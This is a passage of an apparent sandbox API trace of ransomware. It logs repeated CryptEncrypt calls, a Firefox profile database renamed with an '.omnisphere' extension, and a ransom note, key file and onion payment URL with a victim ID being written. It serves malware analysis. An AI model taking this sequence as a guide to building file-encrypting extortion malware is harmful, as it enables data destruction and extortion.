dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.713] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.725] CryptDestroyKey (hKey=0x1639768) returned 1 [0162.725] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0162.725] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0bed4 | out: lpNewFilePointer=0x0) returned 1 [0162.725] WriteFile (in: hFile=0x398, lpBuffer=0x3e0b988*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0bee8, lpOverlapped=0x0 | out: lpBuffer=0x3e0b988*, lpNumberOfBytesWritten=0x3e0bee8*=0x524, lpOverlapped=0x0) returned 1 [0162.725] GetProcessHeap () returned 0x1600000 [0162.725] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x33a) returned 0x1751570 [0162.725] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.omnisphere")) returned 1 [0162.727] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.omnisphere.id" [0162.727] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0162.739] WriteFile (in: hFile=0x3cc, lpBuffer=0x3e0b988*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0b970, lpOverlapped=0x0 | out: lpBuffer=0x3e0b988*, lpNumberOfBytesWritten=0x3e0b970*=0x524, lpOverlapped=0x0) returned 1 [0162.740] CloseHandle (hObject=0x3cc) returned 1 [0162.740] UnmapViewOfFile (lpBaseAddress=0x14a0000) returned 1 [0162.741] CloseHandle (hObject=0x394) returned 1 [0162.741] SetEndOfFile (hFile=0x398) returned 1 [0162.741] FlushFileBuffers (hFile=0x398) returned 1 [0162.749] CloseHandle (hObject=0x398) returned 1 [0162.749] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb") returned 1 [0162.749] GetProcessHeap () returned 0x1600000 [0162.749] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17518b8 [0162.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.749] GetProcessHeap () returned 0x1600000 [0162.749] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17336d0 [0162.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17336d0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.749] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.749] GetProcessHeap () returned 0x1600000 [0162.749] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f220 [0162.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f220, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.749] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.749] GetProcessHeap () returned 0x1600000 [0162.749] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x126) returned 0x1751168 [0162.749] PathCombineW (in: pszDest=0x1751168, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\!DECRYPT_OMNISPHERE.txt" [0162.750] GetProcessHeap () returned 0x1600000 [0162.750] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176c410 [0162.752] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.752] WriteFile (in: hFile=0x398, lpBuffer=0x176c410*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0bf08, lpOverlapped=0x0 | out: lpBuffer=0x176c410*, lpNumberOfBytesWritten=0x3e0bf08*=0x588, lpOverlapped=0x0) returned 1 [0162.753] CloseHandle (hObject=0x398) returned 1 [0162.754] GetProcessHeap () returned 0x1600000 [0162.754] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17518b8 | out: hHeap=0x1600000) returned 1 [0162.754] GetProcessHeap () returned 0x1600000 [0162.754] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11c) returned 0x1751298 [0162.754] PathCombineW (in: pszDest=0x1751298, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\unique_decrypt.key" [0162.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.755] WriteFile (in: hFile=0x398, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0bf1c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0bf1c*=0x5a0, lpOverlapped=0x0) returned 1 [0162.756] CloseHandle (hObject=0x398) returned 1 [0162.756] GetProcessHeap () returned 0x1600000 [0162.756] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1751298 | out: hHeap=0x1600000) returned 1 [0162.756] GetProcessHeap () returned 0x1600000 [0162.756] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1751030 | out: hHeap=0x1600000) returned 1 [0162.756] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c1b8 | out: lpFindFileData=0x3e0c1b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ea7396, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41ea7396, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x971d956, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x95, cFileName="818200132aebmoouht.sqlite", cAlternateFileName="818200~1.SQL")) returned 0 [0162.756] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0162.756] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\*", lpFindFileData=0x3e0bf68 | out: lpFindFileData=0x3e0bf68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41ea601c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x421bd86a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x421bd86a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1750188, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0162.756] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0bf68 | out: lpFindFileData=0x3e0bf68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41ea601c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x421bd86a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x421bd86a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1750188, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0162.756] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0bf68 | out: lpFindFileData=0x3e0bf68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421bd86a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x421bd86a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x421bd86a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x1750188, dwReserved1=0x1600000, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0162.756] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0bf68 | out: lpFindFileData=0x3e0bf68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x421d9eea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x421d9eea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x421d9eea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1750188, dwReserved1=0x1600000, cFileName="818200132aebmoouht.files", cAlternateFileName="818200~1.FIL")) returned 1 [0162.756] GetProcessHeap () returned 0x1600000 [0162.756] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x128) returned 0x1751030 [0162.756] PathCombineW (in: pszDest=0x1751030, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb", pszFile="818200132aebmoouht.files" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files" [0162.757] GetProcessHeap () returned 0x1600000 [0162.757] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x12c) returned 0x1751298 [0162.757] PathCombineW (in: pszDest=0x1751298, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\*" [0162.757] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\*", lpFindFileData=0x3e0bcbc | out: lpFindFileData=0x3e0bcbc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x421d9eea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x421d9eea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x421d9eea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x91, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0162.757] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0bcbc | out: lpFindFileData=0x3e0bcbc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x421d9eea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x421d9eea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x421d9eea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x91, cFileName="..", cAlternateFileName="")) returned 1 [0162.758] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0bcbc | out: lpFindFileData=0x3e0bcbc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x421d9eea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x421d9eea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x421d9eea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x91, cFileName="..", cAlternateFileName="")) returned 0 [0162.758] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0162.758] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\*", lpFindFileData=0x3e0ba6c | out: lpFindFileData=0x3e0ba6c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x421d9eea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x421d9eea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x421d9eea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0162.758] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0ba6c | out: lpFindFileData=0x3e0ba6c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x421d9eea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x421d9eea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x421d9eea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0162.758] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0ba6c | out: lpFindFileData=0x3e0ba6c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x421d9eea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x421d9eea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x421d9eea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 0 [0162.758] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0162.758] GetProcessHeap () returned 0x1600000 [0162.758] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1751298 | out: hHeap=0x1600000) returned 1 [0162.758] GetProcessHeap () returned 0x1600000 [0162.758] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1751030 | out: hHeap=0x1600000) returned 1 [0162.758] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0bf68 | out: lpFindFileData=0x3e0bf68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ea7396, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41ea7396, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x421976f8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1e524, dwReserved0=0x1750188, dwReserved1=0x1600000, cFileName="818200132aebmoouht.sqlite.omnisphere", cAlternateFileName="818200~1.OMN")) returned 1 [0162.758] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0bf68 | out: lpFindFileData=0x3e0bf68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421976f8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x421976f8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x421976f8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1750188, dwReserved1=0x1600000, cFileName="818200132aebmoouht.sqlite.omnisphere.id", cAlternateFileName="818200~1.ID")) returned 1 [0162.758] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0bf68 | out: lpFindFileData=0x3e0bf68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421bd86a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x421bd86a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x421bd86a, 